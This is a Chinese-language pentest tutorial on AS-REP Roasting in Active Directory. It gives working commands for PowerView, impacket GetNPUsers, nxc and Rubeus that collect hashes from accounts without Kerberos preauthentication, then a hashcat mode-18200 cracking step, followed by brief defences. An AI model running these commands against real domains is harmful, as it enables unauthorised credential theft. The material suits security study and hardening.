7.AS-REP-Roasting

1. 原理

AS-REP Roasting 攻击利用了 不启用预认证的账户(Do not require Kerberos preauthentication)。如果账户没有启用预认证机制,此时向域控制器的88端口发送 AS-REQ 请求,对收到的 AS-REP 内容重新组合,能够拼接成” Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用 hashcat 对其破解,最终获得该用户的明文口令

2. 利用前提

域用户设置了选项”Do not require Kerberos preauthentication”(默认不开启)

3. 利用流程

3.1. 寻找满足条件的用户

用户需要开启选项 Do not require Kerberos preauthentication
这里可以使用LDAP查询满足条件(userAccountControl:1.2.840.113556.1.4.803:=4194304)的用户(DONT_REQ_PREAUTH项对应的值为4194304)

方法一:用PowerView查看

Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired -Verbose
#只显示distinguishedname项
Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose

方法二: 用 GetNPUsers.py

python GetNPUsers.py god.org/ -dc-ip 192.168.52.138 -userfile users.txt -format hashcat -outputfile hashes.txt

或者
impacket-GetNPUsers god.org/ -dc-ip 192.168.52.138 -userfile users.txt -format hashcat -outputfile hashes.txt

方法三: 用 nxc

nxc ldap 192.168.0.104 -u user.txt -p '' --asreproast output.txt
nxc ldap god.org -u user.txt -p '' --asreproast output.txt

将密码值设置为 '' 表示不进行身份验证的测试

方法四 用 Rubeus

#烘焙当前域中的所有用户
Rubeus.exe asreproast
  
#对特定 OU 中的所有用户进行烘焙,将哈希值保存到 Hashcat 格式的输出文件中:
Rubeus.exe asreproast /ou:OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local /format:hashcat /outfile:C:\Temp\hashes.txt

#烘焙特定用户
Rubeus.exe asreproast /user:TestOU3user

#烘焙外部信任域中的所有用户
Rubeus.exe asreproast /domain:dev.testlab.local

#使用备用凭证在外部非信任域中烘焙用户
Rubeus.exe asreproast /domain:external.local /creduser:"EXTERNAL.local\administrator" /credpassword:"Password123!"

3.2. hashcat爆破获取明文密码

完成上面的烘培后会获取到 krb5asrep 格式的hash ,使用 hashcat 进行爆破即可

hashcat -m 18200 [hash]

4. 防御

  • 确保域内不存在开启”Do not require Kerberos preauthentication”的用户
  • 域用户强制使用复杂口令,提高被字典和暴力破解的难度